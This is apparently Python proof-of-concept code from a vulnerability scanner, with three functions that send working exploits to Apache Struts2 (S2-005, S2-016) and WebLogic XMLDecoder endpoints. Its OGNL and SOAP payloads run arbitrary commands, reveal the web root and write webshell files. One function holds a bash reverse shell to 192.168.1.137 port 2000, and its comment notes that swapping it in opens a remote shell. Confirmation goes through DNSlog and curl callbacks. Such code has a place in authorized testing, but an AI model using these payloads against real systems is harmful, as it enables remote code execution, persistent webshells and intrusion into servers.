def poc(url):
"""无回显payload, 暂不提供检测"""
url = url if '://' in url else 'http://' + url
url = url.split('#')[0].split('?')[0]
command = "touch /tmp/success"
mydnslog = Dnslog("s2005")
dnslog_cmd = mydnslog.getCommand("dns")
print(dnslog_cmd)
web_curl_cmd = mydnslog.getCommand("web_curl")
payloads = [
# 无回显payload
"?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22{cmd}%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1"
.format(cmd=command),
# dnslog payload
"?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22{cmd}%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1"
.format(cmd=dnslog_cmd),
"?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22{cmd}%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1"
.format(cmd=web_curl_cmd)
]
page1 = requests.get(url)
for payload in payloads:
vulurl = url + payload
resp = requests.get(vulurl)
if mydnslog.verifyDNS(3):
return "[s2-005] " + url
if mydnslog.verifyHTTP(3):
return "[s2-005] " + url
return False
def poc(url):
url = url if '://' in url else 'http://' + url
url = url.split('#')[0].split('?')[0].rstrip('/')
mydnslog = Dnslog("weblogic-wls-xml")
cmd = mydnslog.getCommand("dns")
exec_cmd = '<array class="java.lang.String" length="{0}">'.format(
len(cmd.split()))
for i, c in enumerate(cmd.split()):
exec_cmd += '<void index="{0}"><string>{1}</string></void>'.format(
i, c)
exec_cmd += '</array>'
reverse_shell_cmd = '''
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.1.137/2000 0>&1</string>
</void>
</array>
'''
payload_data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
{}
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
vulurl = url + "/wls-wsat/CoordinatorPortType"
try:
headers = {'Content-Type': 'text/xml;charset=UTF-8'}
data = payload_data.format(exec_cmd) # 替换成reverse_shell_data就是反弹shell
resp = requests.post(vulurl, data=data, headers=headers, timeout=10)
if mydnslog.verifyDNS(3):
return "[weblogc-wls-xmldecoder][dnslog]" + url
if '<faultstring>java.lang.ProcessBuilder' in resp.text or "<faultstring>0" in resp.text:
return True
except Exception as e:
logging.debug(e)
return False
def poc(url):
url = url if '://' in url else 'http://' + url
url = url.split('#')[0].split('?')[0]
command = "echo rivirsirfortest"
mydnslog = Dnslog("s2016")
dns_cmd = mydnslog.getCommand("dns")
web_cmd = mydnslog.getCommand("web")
payloads = [
#执行命令payload
'${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("%s").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}'
% command,
# 爆路径payload
"${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath('/'),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}",
# dns_cmd
'${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("%s").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}'
% dns_cmd,
# web_cmd
'${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("%s").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}'
% web_cmd,
# 写shell的payload
'#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append(#a.getParameter("name")).toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()',
'#req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#p=(#req.getRealPath("/")+"css3.jsp").replaceAll("\\", "/"),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()}'
]
for payload in payloads:
vulurl = url + '?redirect:%s' % urllib.quote(payload)
try:
resp = requests.get(vulurl, timeout=10)
if "rivirsirfortest" in resp.text:
#print resp.text
return True
if len(resp.text) <= 100 and "webapps" in resp.text:
return "[S2-016][web dir]%s" % resp.text + url
if mydnslog.verifyDNS(3):
return "[S2-016][dnslog]%s" + url
if mydnslog.verifyHTTP(3):
return "[S2-016][weblog]%s" + url
except Exception as e:
logging.debug(e)
return False